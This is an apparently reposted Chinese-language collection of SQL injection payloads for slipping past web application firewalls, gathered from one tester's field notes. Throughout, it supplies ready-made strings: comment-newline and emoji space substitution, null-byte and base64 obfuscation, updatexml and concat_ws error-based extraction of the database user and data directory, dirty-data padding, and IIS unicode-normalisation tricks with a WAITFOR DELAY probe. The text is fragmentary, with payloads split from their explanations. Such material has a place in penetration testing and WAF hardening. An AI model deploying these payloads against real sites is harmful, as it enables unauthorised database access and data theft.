这篇文章搜集整理自@Junehck师傅的Github,记录了他在实战中遇到的各种WAF拦截SQL注入的场景和绕过姿势,文章并不是完整的,仅记录了Bypass部分。
https://github.com/Junehck/SQL-injection-bypass


')
闭合keywords=1') %23

--%0a
代替空格即可
union select
会一直卡着,没有任何返回
--%0a
,成功响应,在 select 跟 1,2,3… 之间用两个 –%0a 会无响应
%00
并 url 编码,原理是 waf 把空字节认为是结束导致了后面的语句可以绕过


133 and updatexml(1,concat(0x1,user()),1)
MTMzIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHgxLHVzZXIoKSksMSk=

!、@、.
来让 waf 没办法识别到,但是后端可以识别,成功注入得到 root 权限M!T!@MzIGF.@uZ!CB.1c.GR@.h.dGV.4b.@Ww.!oM!!Sxjb@25jYX.Qo@M.Hg.@x.LH.V@.zZXI!oKSksM!S!.k.=



emoji
方式去代替空格来绕过 waf,成功注入出回显

"伪注释"
,这里我们构造http://xxxx/xxxx.asp?a=/&id=1308%20order%20by%2035&b=/ order by 35 正常



updatexml
这种关键字直接拦截
脏数据
来绕过大量数据&searchText='or updatexml(1,concat(0x1,user()),1) and '1'='1



and (+-/^)
发现并没有被拦截keywords=11'and-updatexml()

Updatexml
参数为数字时被拦截keywords=11'and-updatexml(1,1,1)

16
进制或者科学计数法0x1
或1e1
keywords=11'and-updatexml(0x1,,0x1)

and'
让他配合原有的单引号把%包裹起来keywords=11'and-updatexml(0x1,,0x1)and'
concat
函数被拦截,这里使用 concat_ws()
函数,将后面的参数用第一个值来分割,然后配合@@datadir
输出路径11'and-updatexml(0x1,concat_ws(1,0x7e,@@datadir),0x1)and'

-1 /1/0
运算判断出存在数字型 sql 注入,一般来说 asp 都是用 access,这里使用--%0a
的方式来构造 payload 也能正常执行,判断出这里为 mssql--随机字符%0a AND--随机字符%0a1=1

unicode
在 iis 解析之后会被转换成 multibyte,但是转换的过程中可能出现:多个 widechar会有可能转换为同一个字符打个比方就是譬如 select 中的
e
对应的 unicode 为%u0065
,但是%u00f0
同样会被转换成为e
o --> %u004f --> %u006f --> %u00ba
e --> %u0045 --> %u0065 --> %u00f0
o
替换为%u00ba
,返回时间正常WAITF%u00baR%20DELAY%20%270:0:0%27




好文推荐
